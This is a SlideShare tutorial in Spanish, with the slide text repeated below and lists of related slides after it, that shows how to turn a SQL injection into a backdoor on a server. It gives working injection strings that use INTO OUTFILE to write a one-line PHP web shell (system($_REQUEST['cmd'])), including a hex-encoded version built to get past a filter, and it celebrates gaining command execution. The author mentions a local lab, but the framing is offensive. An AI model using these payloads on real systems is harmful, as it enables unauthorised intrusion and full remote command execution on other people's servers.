SlideShare una empresa de Scribd logo
Backdoor via Inyeccion
                  by
                Q3rv0
Cuando se trata de vulnerabilidades de inyeccion de codigo
tengo que decir que me encanta, hoy le traigo una manera de
conseguir un backdoor en el servidor a travez de una de estas.

hay veces que se logra realizar inyecciones de manera
satisfactoria dumpeando datos de passwords en texto plano o
encriptadas, pero si el panel del administrador esta desabilitado
u no se logra romper el hash o cualquier situacion negativa que
haga que esa informacion no sirva para nada, entonces que
hacemos?

quiero explicarles que esta es una manera de acceder al server
mediante la explotacion de codigo sqli, hay otras pero ya voy a
ver si escribo otro documento, todo depende de los comentarios
y de las ganas de aprender de la gente.

primero que nada, el server debe contar con ciertas
caracteristicas.

- Debe ser vulnerable a SQLI, esto es primordial

-segundo, una vez realizada la enumeracion en la db, se debe
averiguar quien es el usuario que ejecuta la db, y que privilegios
tiene, en nuestro caso solo basta que tenga privilegios de FILE.

- El mismo debe poseer permisos de escritura en el directorio web.
a no ser que hayan encontrado una LFI en el server y escriban
en /tmp para acceder al backdoor, en ese caso zafan! XD!

bueno, para este pequeño laboratorio (vamos a llamarle asi) me
arme un entorno local vulnerable.
Supongamos que ejecutamos de manera remota codigo sql en
la db y obtenemos una respuesta.

-1926 OR 5714=5714 LIMIT 1
podriamos agregarle a la sentencia

-1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba2.php' LINES
TERMINATED BY 'q3rv0' --

Ahora paso a explicar


si recuerdan anteriormente les habia dicho que se requeria de un usuario
corriendo con privilegios de FILE, bien eso es para poder ejecutar la funcion
OUTFILE que nos va a volcar el contenido de un string en un fichero, en mi
caso voy a probar primero con el directorio /tmp para ver que pasa.
LINES TERMINATED BY 'q3rv0' -- esta linea nos va a insertar la cadena
q3rv0 al final de la respuesta dada por la base de datos.


Y el resultado seria algo asi para un mayor entendimiento.
sep, se creo el fichero prueba.php y ahi se ve que pudimos inyectar una cadena remotamente
jeje!...pero y si le mando un code php? algo que tome un valor dado por mi, lo ejecute usando
la funcion system y me devuelva una respuesta, algo que no tenga mas de una linea.

algo asi!

<? system($_REQUEST['cmd']); ?>

probemos a ver que onda...




: ( parece ser que filtra el codigo php, y si lo paso a hexadecimal, base64, URL encode, nose
algo que haga que la linea pase desapercibida.


Depues de varios intentos para ofuscar el code logre pasarlo por alto codificadolo en «ASCII
HEX» agregandole un 0x al principio de esta manera


-1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba6.php' LINES TERMINATED
BY 0x273c3f2073797374656d28245f524551554553545b27636d64275d293b203f3e270a --
Como pueden ver se logro inyectar dentro del server.




Ahora vamos a verificar si nuestro usuario posee permisos de escritura dentro del directorio
web, si los llega a tener colamos el backdoor para tener acceso completo!!
Accedemos a la mini webshell cruzando los dedos por que se haya creado! XD!




Bien!! funciono!!, el usuario tenia permisos de escritura y ahora nosotros tenemos permisos
para ejecutar comandos a nuestro antojo XD! eso fue todo! espero que lo hayan
disfrutado...luego voy a realizar otro documento mostrando como inyectar un backdoor en la
DB, hasta ahora solo lo hemos echo en el sistema. saludos gente!

Más contenido relacionado

PDF
Generación de certifcados con OpenSSL para Servidor
PDF
Db autopwn backtrack_5
DOCX
Administrar mi página web desde un cliente ftp
RTF
Recuperar Ubuntu
DOCX
Servidor ftp en centos 7
PDF
Subiendo shell y explotando vulnerabilidad lfi vía phpinput
DOCX
Manual de squid creado por juanextk
Generación de certifcados con OpenSSL para Servidor
Db autopwn backtrack_5
Administrar mi página web desde un cliente ftp
Recuperar Ubuntu
Servidor ftp en centos 7
Subiendo shell y explotando vulnerabilidad lfi vía phpinput
Manual de squid creado por juanextk

La actualidad más candente (20)

DOCX
Manual de squid creado por juanextk
PDF
Tutorial de instalación de vnc en ubuntu 12.04
PDF
Manual de instalacion web
PDF
Manual de instalacion samba
PDF
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
PDF
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
DOC
Como instalar app serv
PDF
Manual de instalacion dns
DOCX
Realizar un cron con centos 7
PDF
Vocabulario java adriana gaviria
PPT
Archivos batch
PPTX
Programacion Batch
PDF
Práctica 6. ubuntu en server
DOCX
Manual de squid creado por juanextk
PPTX
Servidor web
DOC
Manual FlashFXP by Dj Keller
PDF
40 Php. Bucles Do While
PDF
Instalacion my sql ubuntu[xampp]
ODP
Consejos para utilización de ubuntu leonardo jiménez
PDF
Instalación de servidor xmpp integrado con active directory rodrigo-garcia
Manual de squid creado por juanextk
Tutorial de instalación de vnc en ubuntu 12.04
Manual de instalacion web
Manual de instalacion samba
Servicio VPN con OpenVPN y Latch sobre Raspberry Pi
Montando un Servidor FreeNX en CentOS - FreeNX-II - Instalación del Client…
Como instalar app serv
Manual de instalacion dns
Realizar un cron con centos 7
Vocabulario java adriana gaviria
Archivos batch
Programacion Batch
Práctica 6. ubuntu en server
Manual de squid creado por juanextk
Servidor web
Manual FlashFXP by Dj Keller
40 Php. Bucles Do While
Instalacion my sql ubuntu[xampp]
Consejos para utilización de ubuntu leonardo jiménez
Instalación de servidor xmpp integrado con active directory rodrigo-garcia
Publicidad

Similar a Backdoor via inyeccion (20)

PDF
Presentación Workshop php Barcelona Seguridad
ODP
Seguridad en PHP (es)
PPT
Maitaining access
PPT
MAITAINING ACCESS
PDF
Vulnerabilidades en aplicaciones web
PDF
reto-by-q3rv0
PDF
Web App Hacking and Penetration Testing - (RFI - LFI & RCE)
PDF
Introducción a las vulnerabilidades web
PPT
Ponencia sql avanzado y automatizado
PPTX
CTF Hackademic.RTB2
PDF
80 Php. Campos Y Conexiones
PPT
Presentacionbetabeers prevencion ante_ ataques_xss
PDF
Seguridad WEB - Principios básicos.
PPT
Subiendo shell explotando lfi via php input
PDF
Art hack web-v1-4
PDF
Hackin9 - Ataques de tipo HTML injection
PDF
PHP Tema 7 - Seguridad
PPTX
Sql injection
PPTX
Sql injection
PPTX
Sql Injection
Presentación Workshop php Barcelona Seguridad
Seguridad en PHP (es)
Maitaining access
MAITAINING ACCESS
Vulnerabilidades en aplicaciones web
reto-by-q3rv0
Web App Hacking and Penetration Testing - (RFI - LFI & RCE)
Introducción a las vulnerabilidades web
Ponencia sql avanzado y automatizado
CTF Hackademic.RTB2
80 Php. Campos Y Conexiones
Presentacionbetabeers prevencion ante_ ataques_xss
Seguridad WEB - Principios básicos.
Subiendo shell explotando lfi via php input
Art hack web-v1-4
Hackin9 - Ataques de tipo HTML injection
PHP Tema 7 - Seguridad
Sql injection
Sql injection
Sql Injection
Publicidad

Backdoor via inyeccion

  • 1. Backdoor via Inyeccion by Q3rv0 Cuando se trata de vulnerabilidades de inyeccion de codigo tengo que decir que me encanta, hoy le traigo una manera de conseguir un backdoor en el servidor a travez de una de estas. hay veces que se logra realizar inyecciones de manera satisfactoria dumpeando datos de passwords en texto plano o encriptadas, pero si el panel del administrador esta desabilitado u no se logra romper el hash o cualquier situacion negativa que haga que esa informacion no sirva para nada, entonces que hacemos? quiero explicarles que esta es una manera de acceder al server mediante la explotacion de codigo sqli, hay otras pero ya voy a ver si escribo otro documento, todo depende de los comentarios y de las ganas de aprender de la gente. primero que nada, el server debe contar con ciertas caracteristicas. - Debe ser vulnerable a SQLI, esto es primordial -segundo, una vez realizada la enumeracion en la db, se debe averiguar quien es el usuario que ejecuta la db, y que privilegios tiene, en nuestro caso solo basta que tenga privilegios de FILE. - El mismo debe poseer permisos de escritura en el directorio web. a no ser que hayan encontrado una LFI en el server y escriban en /tmp para acceder al backdoor, en ese caso zafan! XD! bueno, para este pequeño laboratorio (vamos a llamarle asi) me arme un entorno local vulnerable.
  • 2. Supongamos que ejecutamos de manera remota codigo sql en la db y obtenemos una respuesta. -1926 OR 5714=5714 LIMIT 1
  • 3. podriamos agregarle a la sentencia -1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba2.php' LINES TERMINATED BY 'q3rv0' -- Ahora paso a explicar si recuerdan anteriormente les habia dicho que se requeria de un usuario corriendo con privilegios de FILE, bien eso es para poder ejecutar la funcion OUTFILE que nos va a volcar el contenido de un string en un fichero, en mi caso voy a probar primero con el directorio /tmp para ver que pasa. LINES TERMINATED BY 'q3rv0' -- esta linea nos va a insertar la cadena q3rv0 al final de la respuesta dada por la base de datos. Y el resultado seria algo asi para un mayor entendimiento.
  • 4. sep, se creo el fichero prueba.php y ahi se ve que pudimos inyectar una cadena remotamente jeje!...pero y si le mando un code php? algo que tome un valor dado por mi, lo ejecute usando la funcion system y me devuelva una respuesta, algo que no tenga mas de una linea. algo asi! <? system($_REQUEST['cmd']); ?> probemos a ver que onda... : ( parece ser que filtra el codigo php, y si lo paso a hexadecimal, base64, URL encode, nose algo que haga que la linea pase desapercibida. Depues de varios intentos para ofuscar el code logre pasarlo por alto codificadolo en «ASCII HEX» agregandole un 0x al principio de esta manera -1926 OR 5714=5714 LIMIT 1 INTO OUTFILE '/tmp/prueba6.php' LINES TERMINATED BY 0x273c3f2073797374656d28245f524551554553545b27636d64275d293b203f3e270a --
  • 5. Como pueden ver se logro inyectar dentro del server. Ahora vamos a verificar si nuestro usuario posee permisos de escritura dentro del directorio web, si los llega a tener colamos el backdoor para tener acceso completo!!
  • 6. Accedemos a la mini webshell cruzando los dedos por que se haya creado! XD! Bien!! funciono!!, el usuario tenia permisos de escritura y ahora nosotros tenemos permisos para ejecutar comandos a nuestro antojo XD! eso fue todo! espero que lo hayan disfrutado...luego voy a realizar otro documento mostrando como inyectar un backdoor en la DB, hasta ahora solo lo hemos echo en el sistema. saludos gente!